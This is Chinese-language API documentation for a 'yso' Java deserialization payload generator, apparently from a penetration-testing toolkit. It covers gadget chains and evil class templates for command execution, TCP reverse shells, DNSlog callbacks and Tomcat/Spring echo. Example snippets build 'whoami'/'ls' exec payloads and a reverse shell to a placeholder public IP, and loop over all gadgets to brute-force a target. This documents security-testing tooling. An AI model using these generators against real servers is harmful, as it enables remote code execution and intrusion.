yso
成员函数 | 函数描述/介绍 |
---|---|
yso.GenerateClassObjectFromBytes | GenerateClassObjectFromBytes 从字节数组中加载并返回一个javaclassparser.ClassObject对象。 LoadClassFromBytes、LoadClassFromBase64、LoadClassFromBCEL等函数都是基于这个函数实现的。 参数是... |
yso.GenerateDNSlogEvilClassObject | GenDnslogClassObject GenerateDnslogEvilClassObject 生成一个使用Dnslog类模板的javaclassparser.ClassObject对象, 并设置一个指定的 Dnslog 域名。这个函数结合使用 useDNSlogTemplate 和 dn... |
yso.GenerateHeaderEchoClassObject | GenHeaderEchoClassObject GenerateHeaderEchoClassObject 生成一个使用HeaderEcho类模板的javaclassparser.ClassObject对象, options:一组可选的GenClassOptionFun函数,用于进一步定制生成... |
yso.GenerateModifyTomcatMaxHeaderSizeEvilClassObject | GenerateModifyTomcatMaxHeaderSizeEvilClassObject 生成一个使用ModifyTomcatMaxHeaderSize类模板的javaclassparser.ClassObject对象, 这个函数结合使用 useModifyTomcatMaxHeaderS... |
yso.GenerateMultiEchoClassObject | GenMultiEchoClassObject GenerateMultiEchoEvilClassObject 生成一个使用 MultiEcho 类模板的javaclassparser.ClassObject对象,主要用于 Tomcat/Weblogic 回显, options:一组可选的Ge... |
yso.GenerateProcessBuilderExecEvilClassObject | GenerateProcessBuilderExecEvilClassObject 生成一个使用ProcessBuilderExec类模板的javaclassparser.ClassObject对象, 并设置一个指定的命令来执行。这个函数结合使用SetClassProcessBuilderExec... |
yso.GenerateProcessImplExecEvilClassObject | GenerateProcessImplExecEvilClassObject 生成一个使用ProcessImplExec类模板的javaclassparser.ClassObject对象, 并设置一个指定的命令来执行。这个函数结合使用SetClassProcessImplExecTemplate和... |
yso.GenerateRuntimeExecEvilClassObject | GenerateRuntimeExecEvilClassObject 生成一个使用RuntimeExec类模板的javaclassparser.ClassObject对象, 并设置一个指定的命令来执行。这个函数结合使用SetClassRuntimeExecTemplate和SetExecComma... |
yso.GenerateSleepClassObject | GenSleepClassObject GenerateSleepClassObject 生成一个使用Sleep类模板的javaclassparser.ClassObject对象 options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。 返回:成功时... |
yso.GenerateSpringEchoEvilClassObject | GenerateSpringEchoEvilClassObject 生成一个使用SpringEcho类模板的javaclassparser.ClassObject对象, 这个函数结合使用 useSpringEchoTemplate 和 springParam 函数, 以生成在反序列化时会回显指定内... |
yso.GenerateTcpReverseEvilClassObject | GenTcpReverseClassObject GenerateTcpReverseEvilClassObject 生成一个使用TcpReverse类模板的javaclassparser.ClassObject对象, 这个函数结合使用 useTcpReverseTemplate ,tcpRev... |
yso.GenerateTcpReverseShellEvilClassObject | GenTcpReverseShellClassObject GenerateTcpReverseShellEvilClassObject 生成一个使用TcpReverseShell类模板的javaclassparser.ClassObject对象, 这个函数结合使用 useTcpReverseS... |
yso.GenerateTomcatEchoClassObject | GenTomcatEchoClassObject GenerateTomcatEchoEvilClassObject 生成一个使用TomcatEcho类模板的javaclassparser.ClassObject对象, options:一组可选的GenClassOptionFun函数,用于进一步... |
yso.GetAllGadget | GetAllGadget 获取所有的支持的Gadget |
yso.GetAllRuntimeExecGadget | GetAllRuntimeExecGadget 获取所有的支持的RuntimeExecGadget,可用于爆破 gadget |
yso.GetAllTemplatesGadget | GetAllTemplatesGadget 获取所有支持模板的Gadget,可用于爆破 gadget |
yso.GetBeanShell1JavaObject | GetBeanShell1JavaObject 基于BeanShell1 序列化模板生成并返回一个Java对象。 它首先解析预定义的BeanShell1序列化模板,然后在解析出的第一个Java对象中替换预设的占位符为传入的命令字符串。 cmd:要传入Java对象的命令字符串。 返回:成功时返回... |
yso.GetClick1JavaObject | GetClick1JavaObject 基于Click1 序列化模板生成并返回一个Java对象。 用户可以通过可变参数options 提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数允许用户定制生成的Java对象的特定属性或行为。 options:用于... |
yso.GetCommonsBeanutils183NOCCJavaObject | GetCommonsBeanutils183NOCCJavaObject 基于Commons Beanutils 1.8.3 序列化模板生成并返回一个Java对象。 去除了对 commons-collections:3.1 的依赖。 通过可变参数options ,用户可以提供额外的配置,这些配... |
yso.GetCommonsBeanutils192NOCCJavaObject | GetCommonsBeanutils192NOCCJavaObject 基于Commons Beanutils 1.9.2 序列化模板生成并返回一个Java对象。 去除了对 commons-collections:3.1 的依赖。 通过可变参数options ,用户可以提供额外的配置,这些配... |
yso.GetCommonsBeanutils1JavaObject | GetCommonsBeanutils1JavaObject 基于Commons Beanutils 1 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的J... |
yso.GetCommonsCollections1JavaObject | GetCommonsCollections1JavaObject 基于Commons Collections 3.1 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返... |
yso.GetCommonsCollections2JavaObject | GetCommonsCollections2JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够... |
yso.GetCommonsCollections3JavaObject | GetCommonsCollections3JavaObject 基于Commons Collections 3.1 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够... |
yso.GetCommonsCollections4JavaObject | GetCommonsCollections4JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够... |
yso.GetCommonsCollections5JavaObject | GetCommonsCollections5JavaObject 基于Commons Collections 2 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返回生... |
yso.GetCommonsCollections6JavaObject | GetCommonsCollections6JavaObject 基于Commons Collections 6 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返回生... |
yso.GetCommonsCollections7JavaObject | GetCommonsCollections7JavaObject 基于Commons Collections 7 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返回生... |
yso.GetCommonsCollections8JavaObject | GetCommonsCollections8JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够... |
yso.GetCommonsCollectionsK1JavaObject | GetCommonsCollectionsK1JavaObject 基于Commons Collections <=3.2.1 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这... |
yso.GetCommonsCollectionsK2JavaObject | GetCommonsCollectionsK2JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能... |
yso.GetCommonsCollectionsK3JavaObject | GetCommonsCollectionsK3JavaObject 基于Commons Collections K3 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返... |
yso.GetCommonsCollectionsK4JavaObject | GetCommonsCollectionsK4JavaObject 基于Commons Collections K4 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返... |
yso.GetFindGadgetByDNSJavaObject | GetFindGadgetByDNSJavaObject 通过 DNSLOG 探测 CLass Name,进而探测 Gadget。 使用预定义的FindGadgetByDNS序列化模板,然后在序列化对象中替换预设的URL占位符为提供的URL字符串。 url:要在生成的Java对象中设置的URL字... |
yso.GetGadgetNameByFun | |
yso.GetGroovy1JavaObject | GetGroovy1JavaObject 基于Groovy1 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应... |
yso.GetJBossInterceptors1JavaObject | GetJBossInterceptors1JavaObject 基于JBossInterceptors1 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的J... |
yso.GetJSON1JavaObject | GetJSON1JavaObject 基于JSON1 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options:用于... |
yso.GetJavaObjectFromBytes | GetJavaObjectFromBytes 从字节数组中解析并返回第一个Java对象。 此函数使用ParseJavaSerialized方法来解析提供的字节序列, 并期望至少能够解析出一个有效的Java对象。如果解析失败或者结果为空, 函数将返回错误。如果解析成功,它将返回解析出的第一个Ja... |
yso.GetJavassistWeld1JavaObject | GetJavassistWeld1JavaObject 基于JavassistWeld1 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定... |
yso.GetJdk7u21JavaObject | GetJdk7u21JavaObject 基于Jdk7u21 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 option... |
yso.GetJdk8u20JavaObject | GetJdk8u20JavaObject 基于Jdk8u20 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 option... |
yso.GetSimplePrincipalCollectionJavaObject | GetSimplePrincipalCollectionJavaObject 基于SimplePrincipalCollection 序列化模板生成并返回一个Java对象。 主要用于 Shiro 漏洞检测时判断 rememberMe cookie 的个数。 使用一个空的 SimplePrinci... |
yso.GetURLDNSJavaObject | GetURLDNSJavaObject 利用Java URL类的特性,生成一个在反序列化时会尝试对提供的URL执行DNS查询的Java对象。 这个函数首先使用预定义的URLDNS序列化模板,然后在序列化对象中替换预设的URL占位符为提供的URL字符串。 url:要在生成的Java对象中设置的UR... |
yso.LoadClassFromBCEL | LoadClassFromBCEL 将BCEL(Byte Code Engineering Library)格式的Java类数据转换为字节数组, 并从这些字节中加载并返回一个javaclassparser.ClassObject对象。 这个函数首先使用javaclassparser.Bcel2b... |
yso.LoadClassFromBase64 | LoadClassFromBase64 从base64编码的字符串中加载并返回一个javaclassparser.ClassObject对象。 这个函数使用GenerateClassObjectFromBytes作为其实现,并允许通过可变参数options 来配置生成的类对象。 这些参数是Ge... |
yso.LoadClassFromBytes | LoadClassFromBytes 从字节数组中加载并返回一个javaclassparser.ClassObject对象。 这个函数使用GenerateClassObjectFromBytes作为其实现,并允许通过可变参数options 来配置生成的类对象。 这些参数是GenClassOpt... |
yso.ToBcel | |
yso.ToBytes | ToBytes 将 Java 或反序列化对象转换为字节码 |
yso.ToJson | ToJson 将 Java 或反序列化对象转换为 json 字符串 |
yso.command | SetExecCommand command 请求参数选项函数,用于设置要执行的命令。需要配合 useRuntimeExecTemplate 使用。 |
yso.dnslogDomain | SetDnslog dnslogDomain 请求参数选项函数,设置指定的 Dnslog 域名,需要配合 useDnslogTemplate 使用。 addr:要设置的 Dnslog 域名。 |
yso.dump | dump 将Java 对象转换为类 Java 代码 |
yso.evilClassName | SetClassName evilClassName 请求参数选项函数,用于设置生成的类名。 className:要设置的类名。 |
yso.majorVersion | |
yso.obfuscationClassConstantPool | |
yso.springEchoBody | |
yso.springHeader | SetHeader springHeader 请求参数选项函数,设置指定的 header 键值对,需要配合 useSpringEchoTemplate 使用。 需要注意的是,发送此函数时生成的 Payload 时,需要设置header:Accept-Language: zh-CN,zh;q=1.... |
yso.springParam | SetParam springParam 请求参数选项函数,设置指定的回显值,需要配合 useSpringEchoTemplate 使用。 param:要设置的请求参数。 |
yso.springRuntimeExecAction | |
yso.tcpReverseHost | SetTcpReverseHost tcpReverseHost 请求参数选项函数,设置指定的 tcpReverseHost 域名,需要配合 useTcpReverseTemplate ,tcpReversePort 使用。 还需要配合 tcpReverseToken 使用,用于是否反连成功的标... |
yso.tcpReversePort | SetTcpReversePort tcpReversePort 请求参数选项函数,设置指定的 tcpReversePort 域名,需要配合 useTcpReverseTemplate ,tcpReverseHost 使用。 还需要配合 tcpReverseToken 使用,用于是否反连成功的标... |
yso.tcpReverseToken | SetTcpReverseToken tcpReverseToken 请求参数选项函数,设置指定的 token 用于是否反连成功的标志,需要配合 useTcpReverseTemplate ,tcpReverseHost ,tcpReversePort 使用。 token:要设置的 token ... |
yso.useBase64BytesClass | SetClassBase64Bytes useBase64BytesClass 请求参数选项函数,传入base64编码的字节码。 base64:base64编码的字节码。 |
yso.useBytesClass | SetClassBytes useBytesClass 请求参数选项函数,传入字节码。 data:字节码。 |
yso.useBytesEvilClass | SetBytesEvilClass useBytesEvilClass 请求参数选项函数,传入自定义的字节码。 data:自定义的字节码。 |
yso.useClassMultiEchoTemplate | |
yso.useConstructorExecutor | |
yso.useDNSLogEvilClass | SetDnslogEvilClass useDnslogEvilClass 请求参数选项函数,设置生成Dnslog类的模板,同时设置指定的 Dnslog 域名。 addr:要设置的 Dnslog 域名。 |
yso.useDNSlogTemplate | |
yso.useEchoBody | |
yso.useHeaderEchoEvilClass | |
yso.useHeaderEchoTemplate | |
yso.useHeaderParam | SetHeader springHeader 请求参数选项函数,设置指定的 header 键值对,需要配合 useSpringEchoTemplate 使用。 需要注意的是,发送此函数时生成的 Payload 时,需要设置header:Accept-Language: zh-CN,zh;q=1.... |
yso.useModifyTomcatMaxHeaderSizeTemplate | |
yso.useMultiEchoEvilClass | |
yso.useParam | SetParam springParam 请求参数选项函数,设置指定的回显值,需要配合 useSpringEchoTemplate 使用。 param:要设置的请求参数。 |
yso.useProcessBuilderExecEvilClass | SetProcessBuilderExecEvilClass useProcessBuilderExecEvilClass 请求参数选项函数,设置生成ProcessBuilderExec类的模板,同时设置要执行的命令。 cmd:要执行的命令字符串。 |
yso.useProcessBuilderExecTemplate | |
yso.useProcessImplExecEvilClass | SetProcessImplExecEvilClass useProcessImplExecEvilClass 请求参数选项函数,设置生成ProcessImplExec类的模板,同时设置要执行的命令。 cmd:要执行的命令字符串。 |
yso.useProcessImplExecTemplate | |
yso.useRuntimeExecEvilClass | SetRuntimeExecEvilClass useRuntimeExecEvilClass 请求参数选项函数,设置生成RuntimeExec类的模板,同时设置要执行的命令。 cmd:要执行的命令字符串。 |
yso.useRuntimeExecTemplate | |
yso.useSleepEvilClass | |
yso.useSleepTemplate | |
yso.useSleepTime | SetSleepTime useSleepTime 请求参数选项函数,设置指定的 sleep 时长,需要配合 useSleepTemplate 使用,主要用与指定 sleep 时长,用于延时检测gadget。 |
yso.useSpringEchoTemplate | |
yso.useTcpReverseEvilClass | SetTcpReverseEvilClass useTcpReverseEvilClass 请求参数选项函数,设置生成TcpReverse类的模板,同时设置指定的 tcpReverseHost ,tcpReversePort。 相当于 useTcpReverseTemplate ,tcpReve... |
yso.useTcpReverseShellEvilClass | SetTcpReverseShellEvilClass useTcpReverseShellEvilClass 请求参数选项函数,设置生成TcpReverseShell类的模板,同时设置指定的 tcpReverseShellHost ,tcpReverseShellPort。 相当于 useTc... |
yso.useTcpReverseShellTemplate | |
yso.useTcpReverseTemplate | |
yso.useTomcatEchoEvilClass | |
yso.useTomcatEchoTemplate |
#
函数定义#
GenerateClassObjectFromBytes#
详细描述GenerateClassObjectFromBytes 从字节数组中加载并返回一个javaclassparser.ClassObject对象。
LoadClassFromBytes、LoadClassFromBase64、LoadClassFromBCEL等函数都是基于这个函数实现的。
参数是GenClassOptionFun类型的函数,用于定制类对象的特定属性或行为。
bytes:要从中加载类对象的字节数组。
options:用于配置类对象的可变参数函数列表。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
bytesCode,_ =codec.DecodeBase64("yv66vg...")classObject, _ := yso.LoadClassFromBytes(bytesCode) // 从字节中加载并配置类对象
#
定义GenerateClassObjectFromBytes(bytes []byte, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
bytes | []byte | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateDNSlogEvilClassObject#
详细描述GenDnslogClassObject
GenerateDnslogEvilClassObject 生成一个使用Dnslog类模板的javaclassparser.ClassObject对象,
并设置一个指定的 Dnslog 域名。这个函数结合使用 useDNSlogTemplate 和 dnslogDomain 函数,
以生成在反序列化时会向指定的 Dnslog 域名发送请求的Java对象。
domain:要在生成的Java对象中请求的 Dnslog 域名。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
domain := "dnslog.com" // 假设的 Dnslog 域名classObject, err := yso.GenerateDnslogEvilClassObject(domain, additionalOptions...) // 生成并配置Dnslog Java对象
#
定义GenerateDNSlogEvilClassObject(domain string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
domain | string | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateHeaderEchoClassObject#
详细描述GenHeaderEchoClassObject
GenerateHeaderEchoClassObject 生成一个使用HeaderEcho类模板的javaclassparser.ClassObject对象,
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
headerClassObj,_ = yso.GenerateHeaderEchoClassObject(yso.useHeaderParam("Echo","Header Echo Check"))
#
定义GenerateHeaderEchoClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateModifyTomcatMaxHeaderSizeEvilClassObject#
详细描述GenerateModifyTomcatMaxHeaderSizeEvilClassObject 生成一个使用ModifyTomcatMaxHeaderSize类模板的javaclassparser.ClassObject对象,
这个函数结合使用 useModifyTomcatMaxHeaderSizeTemplate 函数, 以生成在反序列化时会修改 tomcat 的 MaxHeaderSize 值的Java对象。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
classObject, err := yso.GenerateModifyTomcatMaxHeaderSizeEvilClassObject() // 生成并配置ModifyTomcatMaxHeaderSize Java对象
#
定义GenerateModifyTomcatMaxHeaderSizeEvilClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateMultiEchoClassObject#
详细描述GenMultiEchoClassObject
GenerateMultiEchoEvilClassObject 生成一个使用 MultiEcho 类模板的javaclassparser.ClassObject对象,主要用于 Tomcat/Weblogic 回显,
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
body 回显bodyClassObj,_ = yso.GenerateMultiEchoEvilClassObject(yso.useEchoBody(),yso.useParam("Body Echo Check"))header 回显headerClassObj,_ = yso.GenerateMultiEchoEvilClassObject(yso.useHeaderParam("Echo","Header Echo Check"))
#
定义GenerateMultiEchoClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateProcessBuilderExecEvilClassObject#
详细描述GenerateProcessBuilderExecEvilClassObject 生成一个使用ProcessBuilderExec类模板的javaclassparser.ClassObject对象,
并设置一个指定的命令来执行。这个函数结合使用SetClassProcessBuilderExecTemplate和SetExecCommand函数,
以生成在反序列化时会执行特定命令的Java对象。
cmd:要在生成的Java对象中执行的命令字符串。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串classObject, err := yso.GenerateProcessBuilderExecEvilClassObject(command, additionalOptions...) // 生成并配置ProcessBuilderExec Java对象
#
定义GenerateProcessBuilderExecEvilClassObject(cmd string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateProcessImplExecEvilClassObject#
详细描述GenerateProcessImplExecEvilClassObject 生成一个使用ProcessImplExec类模板的javaclassparser.ClassObject对象,
并设置一个指定的命令来执行。这个函数结合使用SetClassProcessImplExecTemplate和SetExecCommand函数,
以生成在反序列化时会执行特定命令的Java对象。
cmd:要在生成的Java对象中执行的命令字符串。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串classObject, err := yso.GenerateProcessImplExecEvilClassObject(command, additionalOptions...) // 生成并配置ProcessImplExec Java对象
#
定义GenerateProcessImplExecEvilClassObject(cmd string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateRuntimeExecEvilClassObject#
详细描述GenerateRuntimeExecEvilClassObject 生成一个使用RuntimeExec类模板的javaclassparser.ClassObject对象,
并设置一个指定的命令来执行。这个函数结合使用SetClassRuntimeExecTemplate和SetExecCommand函数,
以生成在反序列化时会执行特定命令的Java对象。
cmd:要在生成的Java对象中执行的命令字符串。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串classObject, err := yso.GenerateRuntimeExecEvilClassObject(command, additionalOptions...) // 生成并配置RuntimeExec Java对象
#
定义GenerateRuntimeExecEvilClassObject(cmd string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateSleepClassObject#
详细描述GenSleepClassObject
GenerateSleepClassObject 生成一个使用Sleep类模板的javaclassparser.ClassObject对象
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
yso.GenerateSleepClassObject(yso.useSleepTime(5))
#
定义GenerateSleepClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateSpringEchoEvilClassObject#
详细描述GenerateSpringEchoEvilClassObject 生成一个使用SpringEcho类模板的javaclassparser.ClassObject对象,
这个函数结合使用 useSpringEchoTemplate 和 springParam 函数, 以生成在反序列化时会回显指定内容的Java对象。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
classObject, err := yso.GenerateSpringEchoEvilClassObject(yso.springHeader("Echo","Echo Check")) // 生成并配置SpringEcho Java对象
#
定义GenerateSpringEchoEvilClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateTcpReverseEvilClassObject#
详细描述GenTcpReverseClassObject
GenerateTcpReverseEvilClassObject 生成一个使用TcpReverse类模板的javaclassparser.ClassObject对象,
这个函数结合使用 useTcpReverseTemplate ,tcpReverseHost ,tcpReversePort 函数, 以生成在反序列化时会反连指定的 tcpReverseHost ,tcpReversePort 的Java对象。
host:要设置的 tcpReverseHost 的host。
port:要设置的 tcpReversePort 的port。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
host = "公网IP"token = uuid()classObject, err := yso.GenerateTcpReverseEvilClassObject(host,8080,yso.tcpReverseToken(token),additionalOptions...) // 生成并配置TcpReverse Java对象
#
定义GenerateTcpReverseEvilClassObject(host string, port int, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
host | string | |
port | int | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateTcpReverseShellEvilClassObject#
详细描述GenTcpReverseShellClassObject
GenerateTcpReverseShellEvilClassObject 生成一个使用TcpReverseShell类模板的javaclassparser.ClassObject对象,
这个函数结合使用 useTcpReverseShellTemplate ,tcpReverseShellHost ,tcpReverseShellPort 函数, 以生成在反序列化时会反连指定的 tcpReverseShellHost ,tcpReverseShellPort 的Java对象。
host:要设置的 tcpReverseShellHost 的host。
port:要设置的 tcpReverseShellPort 的port。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
host = "公网IP"classObject, err := yso.GenerateTcpReverseShellEvilClassObject(host,8080,additionalOptions...) // 生成并配置TcpReverseShell Java对象
#
定义GenerateTcpReverseShellEvilClassObject(host string, port int, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
host | string | |
port | int | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateTomcatEchoClassObject#
详细描述GenTomcatEchoClassObject
GenerateTomcatEchoEvilClassObject 生成一个使用TomcatEcho类模板的javaclassparser.ClassObject对象,
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
body 回显bodyClassObj,_ = yso.GenerateTomcatEchoEvilClassObject(yso.useEchoBody(),yso.useParam("Body Echo Check"))header 回显headerClassObj,_ = yso.GenerateTomcatEchoEvilClassObject(yso.useHeaderParam("Echo","Header Echo Check"))
#
定义GenerateTomcatEchoClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GetAllGadget#
详细描述GetAllGadget 获取所有的支持的Gadget
Example:
dump(yso.GetAllGadget())
#
定义GetAllGadget() []any
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | []any |
#
GetAllRuntimeExecGadget#
详细描述GetAllRuntimeExecGadget 获取所有的支持的RuntimeExecGadget,可用于爆破 gadget
Example:
command := "whoami" // 假设的命令字符串 for _, gadget := range yso.GetAllRuntimeExecGadget() { javaObj, err := gadget(command) if javaObj == nil || err != nil { continue } objBytes, err := yso.ToBytes(javaObj) if err != nil { continue } // 发送 objBytes }
#
定义GetAllRuntimeExecGadget() []RuntimeExecGadget
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | []RuntimeExecGadget |
#
GetAllTemplatesGadget#
详细描述GetAllTemplatesGadget 获取所有支持模板的Gadget,可用于爆破 gadget
Example:
for _, gadget := range yso.GetAllTemplatesGadget() { domain := "xxx.dnslog" // dnslog 地址 javaObj, err := gadget(yso.useDNSLogEvilClass(domain)) if javaObj == nil || err != nil { continue } objBytes, err := yso.ToBytes(javaObj) if err != nil { continue } // 发送 objBytes }
#
定义GetAllTemplatesGadget() []TemplatesGadget
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | []TemplatesGadget |
#
GetBeanShell1JavaObject#
详细描述GetBeanShell1JavaObject 基于BeanShell1 序列化模板生成并返回一个Java对象。
